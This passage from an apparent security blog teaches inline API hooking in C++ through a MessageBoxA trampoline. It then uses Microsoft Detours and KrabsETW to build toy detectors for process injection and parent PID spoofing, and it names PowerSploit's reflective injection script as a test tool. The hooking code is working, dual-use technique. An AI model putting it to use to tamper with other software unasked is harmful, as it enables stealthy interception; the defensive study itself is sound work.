![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVmx_AkGJzT735Eg7y7%2F-MVralBDI05Q9rysF6RB%2FHooked-Page-1.svg?alt=media\&token=dc42dda3-c952-4180-b170-ba99893ba020)

As you can see from the images above, an inline function is the process of redirecting the execution flow away from the legitimate function that was called, executing some "hook" code, and then passing execution back to the legitimate function so that execution continues as normal. The interesting stuff happens in the "hook" code, where an attacker can change the information being sent to the function, or an EDR agent can inspect and log the data being passed to the function.

Specifically with an inline function hook, you can see from the image above that the high level process for implementing an inline function hook is:

* The first n bytes of the target function (the function we want to hook) are copied to a memory location often referred to as a "trampoline".&#x20;
* n bytes of the target function are overwritten by a relative JMP command which will pass execution to our user defined code.
* After executing our "hook" code, execution needs to return back to the original function. To do this we pass execution to our trampoline which contains the bytes that we overwrote in the original function.
* After executing the overwritten bytes, a relative JMP takes the execution back to the original function at an offset after our added JMP command to prevent recursion.&#x20;

## Programming The Function Hook

### Step 1 - Build The Trampoline

The first step in the process is to set up our trampoline. This is a section of memory that will store a copy of the bytes that overwrite in the MessageBoxA function and will also contain the JMP back to an offset in the original MessageBoxA function:

```cpp
// Get the address of the MessageBoxA function
origFunctionAddress = (BYTE *)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");

// Allocate some memory to store our trampoline
trampolineAddress = (BYTE*)VirtualAlloc(NULL, 20, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (trampolineAddress == NULL) {
	return Error("Failed to allocate memory for trampoline");
}

int numOfBytesToCopy = 5;
char trampoline[10] = {};

// Copy bytes from the original MessageBox function to our trampoline
memcpy_s(trampoline, numOfBytesToCopy, origFunctionAddress,5);

// At the the end of the copied bytes we want to JMP back to the original function
// 0xE9 is the JMP opcode. 
// It needs a 4 byte relative address to get back to the original function 
*(DWORD*)(trampoline + numOfBytesToCopy) = 0xE9;

// Calculate how far we need to jump to get back to the original function (+ offset)
uintptr_t jumpAddress = (BYTE*)origFunctionAddress - trampolineAddress - numOfBytesToCopy;

// Write the relative address to our trampoline to complete the JMP statement
*(uintptr_t*)((uintptr_t)trampoline + numOfBytesToCopy + 1) = jumpAddress;

// Write the trampoline to the allocated trampoline memory region
if (!WriteProcessMemory(GetCurrentProcess(), trampolineAddress, trampoline, sizeof(trampoline), NULL)) {
	return Error("Error while writing process memory to trampoline");
}
```

A high level overview of the code snippet above does the following:

1. Gets the address of the `MessageBoxA` function from the `user32.dll` DLL.&#x20;
2. Allocates some memory using `VirtualAlloc` to store our trampoline code.
3. Uses `memcpy_s` to copy 5 bytes from the start of the `MessageBoxA` function to the start of the trampoline.
4. At the end of the trampoline (which is now filled with the copied bytes), add a JMP opcode (0xE9) which will take a relative address to JMP to the original `MessageBoxA` function + an offset.
5. Calculates the size of the JMP that needs to be made to go from the trampoline memory region, to the `MessageBoxA` function + offset. This is a relative JMP so to get the size we can just subtract the trampoline memory address from the address of the messageBoxA function.&#x20;

#### Why do we copy 5 bytes?

When we add our hook code to the original `MessageBoxA` function in the next step, our hook will be in the form of a JMP (0xE9) opcode (1 byte) and a relative address (4 bytes) which will take us to our area of user-defined code. This means that we will overwrite a total of 5 bytes at the start of the `MessageBoxA` function.

Inspecting the 5 bytes at the start of the `MessageBoxA` function shows us that this forms 3 complete operations:

1. `mov edi,edi`
2. `push ebp`
3. `move ebp,esp`

![Disassembly of the start of the MessageBoxA function](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVmZQ72gO75qii6fOpB%2F-MVmbyGRyNQNpvKEAjv1%2FScreenshot%202021-03-14%20at%2021.15.19.png?alt=media\&token=33c47788-6459-408e-a2ae-60039e1bd106)

This means that we are safe to overwrite exactly 5 bytes with out JMP command in the case of `MessageBoxA` , but if we were to target other functions we may have to pad out our overwrite with `Nops` (0x90) to make sure the we overwrite complete instructions.

### Step 2 - Add Our Hook Code

Now that we've created our trampoline to get back to the original `MessageBoxA` function we can add our "hook" code that we want to execute when the `MessageBoxA` function is called. This is where we can do our evil activity if we wanted to:

```cpp
// Set up a function to call that will pass execution to our trampoline code
// to ultimately pass execution back to the read MessageBoxA code
typedef int(__stdcall *tdOrigMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
tdOrigMessageBoxA messageBoxATrampoline;

// This is our function hook
// This is what we will execute before passing execution back to the real function

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) 
{
	// Overwrite the text in the messagebox with our message
	lpText = "Hooked";

	// Pass execution to our trampoline which will ultimately return back to the original function
	return messageBoxATrampoline(hWnd,lpText,lpCaption,uType);
}
```

The code above is a fairly simple example of how to handle the function that you want to hook. Lines 3 & 4 create a simple typedef with the same return type (int), calling convention (stdcall) and parameters as the original `MessageBoxA` function. This function - `messageBoxATrampoline` - will just point to the memory location of our trampoline, this allows us to "return" to this address after we run our hooked code (as seen on line 15).

Lines 9 - 16 are our "hook" code, this is the code that will be executed before the real `MessageBoxA` function is executed. The example here is fairly boring, we just change the text that will be displayed in the message box to "Hooked".&#x20;

On line 15 we "return" to the `messageBoxATrampoline` function which is our trampoline. If you remember from the previous step, the trampoline contains the 5 bytes that we copied from the original `MessageBoxA` function, and a relative JMP to the original `MessageBoxA` function.

### Step 3 - Hook The Original Function

The next step is to patch the original `MessageBoxA` function so that execution is redirected to our 'hook' code in the `HookedMessageBox` function. This is relatively straight forward to do, we just overwrite the first 5 bytes of the `MessageBoxA` function with a relative JMP to the `HookedMessageBox` function:

```cpp
// Change memory protection on messageBox code to make sure it's writable
DWORD oldProtectVal;
VirtualProtect(origFunctionAddress,6,PAGE_READWRITE,&oldProtectVal);

// Patch the original MessageBox code
// First we replace the first BYTE with a JMP instruction
*(BYTE *)origFunctionAddress = 0xE9;

// Then we calculate the relative address to JMP to our Hook function
intptr_t hookAddress = (intptr_t)((CHAR*)HookedMessageBox - (intptr_t)origFunctionAddress) - 5;

// Write the relative address to the original MessageBoxA function
*(intptr_t*)((intptr_t)origFunctionAddress + 1) = hookAddress;

// Restore original memory protection on messageBox code
VirtualProtect(origFunctionAddress,6,oldProtectVal,&oldProtectVal);
```

### Step 4 - Map The Trampoline To A Function

Now that we have most of the pieces of the puzzle together, the final step is to map our trampoline code to the `messageBoxATrampoline` function:

```cpp
// Cast the trampoline address to a function 
messageBoxATrampoline = (tdOrigMessageBoxA)trampolineAddress;
```

### Step 5 - Putting It All Together

At this point our hook should be fully working except for some other bits of generic code like includes, error handling and general structure. Adding these in and combining the steps above gives us the code shown below.

```cpp
#include <iostream>
#include <Windows.h>

// Set up a function to call that will pass execution to our trampoline code
// to ultimately pass execution back to the read MessageBoxA code
typedef int(__stdcall *tdOrigMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
tdOrigMessageBoxA messageBoxATrampoline;

// This is our function hook
// This is what we will execute before passing execution back to the real function
int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) 
{

	// Overwrite the text in the messagebox with our message
	lpText = "Hooked";

	// Pass execution to our trampoline which will ultimately return back to the original function
	return messageBoxATrampoline(hWnd,lpText,lpCaption,uType);
}

int Error(const char* msg) {
	printf("%s (%u)", msg, GetLastError());
	return 1;
}

int main()
{
	BYTE* origFunctionAddress = NULL;
	BYTE* trampolineAddress = NULL;

	// Call MessageBoxA before hooking to show original functionality
	MessageBoxA(NULL, "hi", "hi", MB_OK);

	origFunctionAddress = (BYTE *)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");

	// Allocate some memory to store the start of the original function
	trampolineAddress = (BYTE*)VirtualAlloc(NULL, 20, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (trampolineAddress == NULL) {
		Error("Failed to allocate memory for trampoline");
	}

	int numOfBytesToCopy = 5;
	char trampoline[10] = {};
	
	// Copy bytes from the original MessageBox function to our trampoline
	memcpy_s(trampoline, numOfBytesToCopy, origFunctionAddress,5);
	
	// The the end of the copied bytes we want to JMP back to the original hooked function
	// 0xE9 is the JMP opcode here. It needs to be given a 4 bytes address
	*(DWORD*)(trampoline + numOfBytesToCopy) = 0xE9;
	
	// Calculate where we want to jump back to in the original hooked fuction
	uintptr_t jumpAddress = (BYTE*)origFunctionAddress - trampolineAddress - numOfBytesToCopy;
	
	// Write the JMP address to our trampoline
	*(uintptr_t*)((uintptr_t)trampoline + numOfBytesToCopy + 1) = jumpAddress;

	// Write the trampoline to the allocated trampoline memory region
	if (!WriteProcessMemory(GetCurrentProcess(), trampolineAddress, trampoline, sizeof(trampoline), NULL)) {
		return Error("Error while writing process memory to trampoline");
	}

	// Change memory protection on messageBox code to make sure it's writable
	DWORD oldProtectVal;
	VirtualProtect(origFunctionAddress,6,PAGE_READWRITE,&oldProtectVal);

	// Patch the original MessageBox code
	// First we replace the first BYTE with a JMP instruction
	*(BYTE *)origFunctionAddress = 0xE9;
	
	// Then we calculate the relative address to JMP to our Hook function
	intptr_t hookAddress = (intptr_t)((CHAR*)HookedMessageBox - (intptr_t)origFunctionAddress) - 5;
	
	// Write the relative address to the original MessageBoxA function
	*(intptr_t*)((intptr_t)origFunctionAddress + 1) = hookAddress;

	// Restore original memory protection on messageBox code
	VirtualProtect(origFunctionAddress,6,oldProtectVal,&oldProtectVal);

	// Cast the trampoline address to a function 
	messageBoxATrampoline = (tdOrigMessageBoxA)trampolineAddress;
		
	// The hook should now be complete
	// Call message box again to test the hook
	MessageBoxA(NULL, "hi", "hi", MB_OK);

	return 0;
}
```

{% hint style="info" %}
Note that we call the MessageBoxA function twice, first before we add the hook to show how it should work and then again after we've added the hook.
{% endhint %}

## Demo

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVmsKNx9zLN44xwWJum%2F-MVmvJQ0Js444d6Iveeo%2FMar-14-2021%2022-47-59.gif?alt=media\&token=664f3ec9-b5cd-48db-b162-50f9cd0b3ba2)

## References

{% embed url="<https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++>" %}

{% embed url="<https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-2.html>" %}

{% embed url="<https://blog.nettitude.com/uk/windows-inline-function-hooking>" %}


# Detecting Process Injection using Microsoft Detour Hooks

This blog post discusses using Microsoft Detours to add hooks for common APIs in an attempt to detect and prevent process injection.

## Introduction

[Microsoft Detours](https://github.com/microsoft/Detours) "is a software package for monitoring and instrumenting API calls on Windows". The package provides a generic and *safe* way to implement hooks for x86 and x64 Windows APIs, allowing for monitoring, tampering, or anything else that you'd want to do with an API hook.

This blog post will cover how to get started with detours, with the objective of being able to detect and prevent a typical example of process injection used by common attack frameworks. We'll build a DLL that when loaded into a process will hook the relevant API calls, and then kill the host process if the sequence of API calls indicates that process injection is about to occur.

To put it another way, we will try and create the most basic, simplistic, and probably incorrect example of a "Next-Generation Anti-Virus" (NGAV). Suffice to say the content of this blog should not be taken with any seriousness in terms of detecting real threats; it does not factor in performance, stability, false positives, or any of the other factors that enterprise security products have to address.

## Getting Started with Detours

### Hooking MessageBoxA

Getting started with Detours is very simple, we can use NuGet to install the package and the we just need to include the library at the start of our project file:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVs0O1jE56pZa33q_1Z%2F-MVs3jd5piJTJatnA8u8%2FScreenshot%202021-03-15%20at%2022.47.26.png?alt=media\&token=a030d787-0153-4609-bf83-38fa7e69a4c0)

After we've added the library to our project we can hook our first function. For this initial proof of concept we will build a DLL that when injected into a process will hook the MessageBoxA function:

```cpp
#include "windows.h"
#include "detours.h"

// Remap MessageBoxA to a new function name
INT(WINAPI* oMessageBoxA)(HWND,LPCSTR,LPCSTR,UINT) = MessageBoxA;

// Define our hook, match return code and parameters
int WINAPI hookedMessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType)
{
    // Do our "evil"
    // Change the text of the MessageBox
    lpText = "Hooked!";
    return oMessageBoxA(hWnd,lpText,lpCaption,uType);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        // Initialise detours and commit them
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)oMessageBoxA, hookedMessageBoxA);

        LONG lError = DetourTransactionCommit();
        if (lError != NO_ERROR) {
            MessageBox(HWND_DESKTOP, L"Could not add detour", L"Detour Error", MB_OK);
            return FALSE;
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

Implementing our first function hook is trivial as we can see from the code snippet above. The majority of the code is just boiler plate DLL code, but lines 5 - 13 are what we really care about. On line 5 we define a new function to map to the original MessageBoxA function, this allows us to call the original function after our hook has run. Note that it has the same return code and parameters as the real MessageBoxA function:

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVx8OsXIx5WiEK2v-UO%2F-MVx9SMNoEanwhc7NdXk%2FScreenshot%202021-03-16%20at%2022.30.49.png?alt=media\&token=d26b4992-ac2c-4a37-a04b-f0f0c6d25bea)

Lines 7 - 13 are where we define our "hook" code. We copy the return code and parameters of the real MessageBoxA function, do our "evil" (in this case changing the text displayed in the text box to 'Hooked!') and then return execution back to the original MessageBoxA function.&#x20;

Finally, to implement the actual hook we call `DetourTransactionBegin()`, `DetourUpdateThread()`, `DetourAttach()` and `DetourTransactionCommit()` on lines 26 - 30. That's all that's needed to set up our hook, considerably easier that doing it all manually eh?&#x20;

Now that we have a DLL that we can inject into a process to initiate our hook, let's test it out to make sure it works. In the screenshot below I created a simple program that will call MessageBoxA and display the text "Hi". It will then wait for user input and then display the message box again. In the break while it's waiting for user input, we can inject our DLL using Process Hacker, and if our hook works then the second call to MessageBoxA should have its text change to "Hooked!".&#x20;

### MessageBoxA Demo

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MVs52NKFZK3quaOp5H1%2F-MVx6cALfAodV47cg0Pu%2Fmbox.gif?alt=media\&token=1fd4a69e-bafe-4cfd-8378-a1ebe4c5404b)

## Detecting Process Injection

Now that we know how to hook APIs using Detours we can try something a little more interesting than just hooking `MessageBoxA`. Instead, let's create a DLL that - when injected into a process - will hook the common API calls used for process injection, and then kill the host process if process injection is about to occur.&#x20;

### Process Injection Primer&#x20;

Discussing process injection (and the different variations) in detail is outside of the scope of this blog post in an attempt to keep the length of this post reasonable. In a nutshell typical process injection utilises the following API calls:

1. `OpenProcess` - Used to get a handle to the target process of the process injection.
2. `VirtualAllocEx` - Used to allocation memory in the target process to hold the payload.
3. `WriteProcessMemory` - Used to write the payload to the memory region in the target process.
4. `CreateRemoteThreadEx` - Used o create a thread in the target process to execute the payload memory region.&#x20;

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MWBCm1Moa_y2R1r0I_t%2F-MWBDD7zBiSzy0GF714x%2Fprocess-injection-techniques-blogs-pe-injection.gif?alt=media\&token=ed2cd69d-f702-4a63-9614-d2876d124e78)

{% embed url="<https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process>" %}

### Building our DLL

```cpp
#include <windows.h>
#include "detours.h"

BOOL openProcessCalled = FALSE;
BOOL virtualAllocExCalled = FALSE;
BOOL writeProcessMemoryCalled = FALSE;
BOOL createRemoteThreadExCalled = FALSE;

// Hooked API calls related to standard process injection
LPVOID(WINAPI* oOpenProcess)(DWORD, BOOL, DWORD) = OpenProcess;
LPVOID(WINAPI* oVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD) = VirtualAllocEx;
BOOL(WINAPI* oWriteProcessMemory)(HANDLE, LPVOID,LPCVOID,SIZE_T,SIZE_T*) = WriteProcessMemory;
HANDLE(WINAPI* oCreateRemoteThreadEx)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPPROC_THREAD_ATTRIBUTE_LIST, LPDWORD) = CreateRemoteThreadEx;

// Our hook function for OpenProcess
LPVOID WINAPI hookedOpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId)
{
    openProcessCalled = TRUE;
    return oOpenProcess(dwDesiredAccess,bInheritHandle,dwProcessId);
}

// Our hook function for VirtualAllocEx
LPVOID WINAPI hookedVirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
{
    virtualAllocExCalled = TRUE;
    return oVirtualAllocEx(hProcess, lpAddress, dwSize, flAllocationType, flProtect);
}

// Our hook function for WriteProcessMemory
BOOL WINAPI hookedWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
{
    writeProcessMemoryCalled = TRUE;
    return oWriteProcessMemory(hProcess,lpBaseAddress,lpBuffer,nSize,lpNumberOfBytesWritten);
}

// Our hook function for CreateRemoteThreadEx
HANDLE WINAPI hookedCreateRemoteThreadEx(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, LPDWORD lpThreadId)
{
    // Naive logic to see if the APIs related process injection have been called
    // This is a very hacky PoC chaeck 
    if (openProcessCalled && virtualAllocExCalled && writeProcessMemoryCalled) {
    
        // Setup to reflective injection detected. Kill the process
		    MessageBox(HWND_DESKTOP, L"Reflective injection detected. Killing Process.", L"Poor Mans NGAV", MB_OK);
        DWORD killPid = GetCurrentProcessId();
        HANDLE hKillProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, killPid);
        TerminateProcess(hKillProcess, 0);
    }
    return oCreateRemoteThreadEx(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpAttributeList,lpThreadId);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        // Apply our hooks
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        DetourAttach(&(PVOID&)oOpenProcess, hookedOpenProcess);
        DetourAttach(&(PVOID&)oVirtualAllocEx, hookedVirtualAllocEx);
        DetourAttach(&(PVOID&)oWriteProcessMemory, hookedWriteProcessMemory);
        DetourAttach(&(PVOID&)oCreateRemoteThreadEx, hookedCreateRemoteThreadEx);

        LONG lError = DetourTransactionCommit();
        if (lError != NO_ERROR) {
            MessageBox(HWND_DESKTOP, L"Could not add detour", L"Detour Error", MB_OK);
            return FALSE;
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

{% hint style="warning" %}
The code above is by no means safe to use in any meaningful way. It is simply an example of how hooking **could** be used to detect/prevent process injection. False positives and performance issues have not even slightly been considered.
{% endhint %}

The code above is a fairly straight forward extension to the `MessageBoxA` example that we built previously, except instead of just hooking the `MessageBoxA` function we are hooking the API calls that take place in the lead up to process injection.

For the most part the majority of our API hooks just toggle a boolean which allows us to track which APIs have been called. Then in line 41 - in the hook for the CreateRemoteThreadEx API - we have some simple logic that checks whether all of the other APIs have been called. If they have, then we get a handle to the current process and kill it. All going well, when we inject this DLL into a process, if that process attempts to perform process injection we should be able to catch the behaviour and kill the host process before the injection occurs.

### Does it Work?

To test whether our DLL will work correctly we need a simple way to perform process injection. Fortunately we can stand on the shoulders of other people's research and use the `Invoke-ReflectivePEInjection` Powershell script from PowerSploit:

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1>" %}

Before we use the process injection script we need to load our DLL into the Powershell process memory space. To simplify this process and to emulate a poor man's NGAV, I built a simple "supervisor" program that will inject our DLL into any powershell processes that are created.&#x20;

#### Process Injection without our Hook

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MWBm1NA_yB4TTaMJEhx%2F-MWBq82Un9qufzGAKeXo%2Fout1.gif?alt=media\&token=3f8dfa87-5e45-4811-8594-fd51b9214a9f)

#### Process Injection with our Hook

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MWBiwm9fmjCN6ysO8Tl%2F-MWBlMDj8fDgi6Nk8d6n%2Fout2.gif?alt=media\&token=1371c1cf-d9fd-4137-b649-02572ee26a86)

As you can see from the GIF above, our supervisor service injected our DLL into the powershell process that was created. When we then tried to use the `Invoke-ReflectivePEInjection` script to inject into another process, our hooks detected the lead up to the process injection and then ultimately killed the process!

## References

{% embed url="<https://github.com/microsoft/Detours>" %}

{% embed url="<https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process>" %}


# Detecting Parent Process Spoofing using KrabsETW

This blog post covers how to build a simple PoC program that will use the KrabsETW library to subscribe to an ETW provider in order to detect parent process spoofing.

## Introduction

Parent-child relationships are a valuable telemetry source for blue teams and security products to identify potentially malicious process chains. For example, the parent-child relationship of `winword.exe` launching `powershell.exe` or `cmd.exe` is often monitored as it can be indicative of office macro execution which is commonly used as an initial access technique by commodity malware and APTs alike.&#x20;

The scrutiny of parent-child relationships relating to commonly abused windows programs had led to attackers looking for ways to obscure or break these relationships. As such there are plenty tools and resources available online to allow for parent process spoofing, and the technique has also been included as a feature in Cobalt Strike since version 3.8.

{% embed url="<https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/>" %}

The rest of this blog post details how to use ETW providers to provide a detection mechanism for parent PID spoofing. **This is not a new detection technique, it is just my own experimentation of the technique discussed in the original detection blog post by F-Secure Countercept.**

{% embed url="<https://blog.f-secure.com/detecting-parent-pid-spoofing/>" %}

## Event Tracing for Windows (ETW)

Event Tracing for Windows (ETW) is a tracing facility that allows a user log and consume events from various applications and APIs. During the course of their normal operation, windows applications and APIs (providers) will log information to ETW "feeds" which can then be subscribed to by consumers, who can then parse and act on the ingested information.

![https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-MYCFdSNpOiNktaHdRJL%2F-MYCFzl_VeO_EtEholqu%2Fimage.png?alt=media\&token=d1799b27-e944-4817-8ad8-39caa9ce40f3)

Given the stability, realtime nature, and visibility that ETW offers, it has quickly been adopted by blue teams and security products as a rich telemetry source. EDR products will commonly subscribe to ETW "feeds" to enrich in their detection capabilitie&#x73;**,** enabling greater visibility into memory related events, registry events, and more. To simplify the process of subscribing to ETW feeds, Microsoft released a C++ library called **KrabsETW** which provides a very simple way of subscribing to single or multiple ETW feeds.

{% embed url="<https://github.com/microsoft/krabsetw>" %}

## The Power of (Krabs)ETW

As detailed in the Countercept blog post, the **Microsoft-Windows-Kernel-Provider** ETW provider offers a powerful method of detection for parent PID spoofing. This kernel provider provides real-time information about windows processes, including various information such as the process ID of a created process, the parent process ID, the process image name, etc.

To explore what other information is available from this provider we can easily subscribe to this feed using the KrabsETW library:

```cpp
#include "packages\Microsoft.O365.Security.Krabsetw.4.1.18\lib\native\include\krabs.hpp"
#include <iostream>
#include <tlhelp32.h>

void start_etw_trace()
{
    krabs::user_trace trace;

    krabs::provider<> provider(L"Microsoft-Windows-Kernel-Process");
    provider.any(0x10);  // WINEVENT_KEYWORD_PROCESS

    auto process_callback = [](const EVENT_RECORD& record, const krabs::trace_context& trace_context) {
        krabs::schema schema(record, trace_context.schema_locator);
        krabs::parser parser(schema);
		    uint32_t ppid = parser.parse<uint32_t>(L"ParentProcessID");
	    	uint32_t pid = parser.parse<uint32_t>(L"ProcessID");
	    	std::wstring image_name = parser.parse<std::wstring>(L"ImageName");

	    	std::wcout << L"[>] Process Name: " << image_name << std::endl;
	    	std::wcout << L"[>] ParentProcess ID: " << ppid << std::endl;
	    	std::wcout << L"[>] ProcessID " << pid << std::endl;
	    	std::wcout << std::endl;
    };

    // real-time process start events
    krabs::event_filter process_filter(krabs::predicates::id_is(1));
    process_filter.add_on_event_callback(process_callback);
    provider.add_filter(process_filter);

    trace.enable(provider);
    trace.start();
}

int main()
{
    std::cout << "[+] Monitoring Starting!\n" << std::endl;
    start_etw_trace();
}
```

{% hint style="warning" %}
As the Microsoft-Windows-Kernel-Process is a kernel trace, subscribing requires admin rights. In this case I used PsExec to spawn a SYSTEM shell before executing the compiled binary.
{% endhint %}

![](https://1262905073-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MQdibjxHomm2ci4AOPv%2F-M_H-V94gGtZYKrk0VWq%2F-M_H27l31zmVbMtug6Ln%2Fprocessmonitor.gif?alt=media\&token=db5ace72-f3bf-4912-a2ba-05c03a3a9ff1)

## Parent Process or Creator Process

As explained in an excellent [blog post](https://scorpiosoftware.net/2021/01/10/parent-process-vs-creator-process/#:~:text=Parent%20Process%20vs.-,Creator%20Process,parent%2Dchild%20relationship%20between%20them.\&text=The%20parent%20is%20used%20for,\(if%20not%20specified%20explicitly\).) by Pavel Yosifovich *there is no dependency between a child and a parent process in any way*. The 'mapping' between a process and its parent is not enforced and can be altered from user-land. For example, via the lpStartupInfo structure when calling CreateProcessA.&#x20;

{% embed url="<https://scorpiosoftware.net/2021/01/10/parent-process-vs-creator-process/>" %}

The parent process ID that is displayed from our current PoC code will match the parent specified in the lpStartupInfo structure. This means that it will display the spoofed parent and not the real parent. Fortunately the **Microsoft-Windows-Kernel-Provider** ETW provider allows us to see the creator process for each new process that is created, the creator "process ID" is not affected by changes to the lpStartupInfo structure and therefore presents a detection opportunity for us.

We can access the "creator process" ID from the record EventHeader for events provided by the **Microsoft-Windows-Kernel-Provider** ETW provider. The EventHeader is basically just a wrapper around the actual ETW record and contains various pieces of information relating to how the event was created. One of these pieces of information is the ProcessID of the process that has spawned the new process, in other words this is the **real** parent process ID that will be unaffected by PPID spoofing techniques.&#x20;

## Building our PoC program

Now that we have all of the pieces of the puzzle, we can extend our previous PoC code to detect a common examples of parent PID spoofing:

```cpp
#include "packages\Microsoft.O365.Security.Krabsetw.4.1.18\lib\native\include\krabs.hpp"
#include <iostream>
#include <tlhelp32.h>

int Error(const char* msg) {
    std::cout << "[+] Error: " << msg << " " << GetLastError() << std::endl;
	  return 1;
}

// Resolve a PID to a process name
std::wstring GetProcessName(uint32_t pid) {
	HANDLE hProcessSnap;
	PROCESSENTRY32 pe32;

	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProcessSnap == INVALID_HANDLE_VALUE)
	{
		Error("Error in CreateToolhelp32Snapshot");
		return L"<Error>";
	}
	pe32.dwSize = sizeof(PROCESSENTRY32);

	if (!Process32First(hProcessSnap, &pe32))
	{
		Error("Error in Process32First\n");
		CloseHandle(hProcessSnap);
		return L"<Error>";
	}
	do
	{
		if (pid == pe32.th32ProcessID){ 
            return pe32.szExeFile;
		}

	} while (Process32Next(hProcessSnap, &pe32));
	CloseHandle(hProcessSnap);
	return L"<Error>";
}

void begin_trace()
{
    krabs::user_trace trace;

    krabs::provider<> provider(L"Microsoft-Windows-Kernel-Process");
    provider.any(0x10);  // WINEVENT_KEYWORD_PROCESS

    auto process_callback = [](const EVENT_RECORD& record, const krabs::trace_context& trace_context) {
        krabs::schema schema(record, trace_context.schema_locator);
        krabs::parser parser(schema);
		    uint32_t ppid = parser.parse<uint32_t>(L"ParentProcessID");
        // record.EventHeader.ProcessId is the creator process ID
        // Check whether the PPID is the same as the creator PID
        if (ppid != record.EventHeader.ProcessId) { 
            uint32_t pid = parser.parse<uint32_t>(L"ProcessID");
            std::wstring image_name = parser.parse<std::wstring>(L"ImageName");

            // Get the image name from the real parent process ID
            std::wstring real_parent_process_name = GetProcessName(record.EventHeader.ProcessId);
            std::wstring fake_parent_process_name = GetProcessName(ppid);

            std::wcout << L"[!] Process PPID Spoofing Detected" << std::endl;
            std::wcout << L"[>] Real Parent: " << real_parent_process_name << std::endl;
            std::wcout << L"[>] Fake Parent: " << fake_parent_process_name << std::endl;
            std::wcout << L"[>] Process Name: " << image_name << std::endl;
            std::wcout << L"[>] ProcessID " << pid << std::endl;
            std::wcout << std::endl;
        }
    };

    // real-time process start events
    krabs::event_filter process_filter(krabs::predicates::id_is(1));
    process_filter.add_on_event_callback(process_callback);
    provider.add_filter(process_filter);

    trace.enable(provider);
    trace.start();
}

int main()
{
    std::cout << "[+] Monitoring Starting!\n" << std::endl;
    begin_trace();
}
```

{% hint style="warning" %}
As the Microsoft-Windows-Kernel-Process is a kernel trace, subscribing requires admin rights. In this case I used PsExec to spawn a SYSTEM shell before executing the compiled binary.
{% endhint %}

## Detection Demo

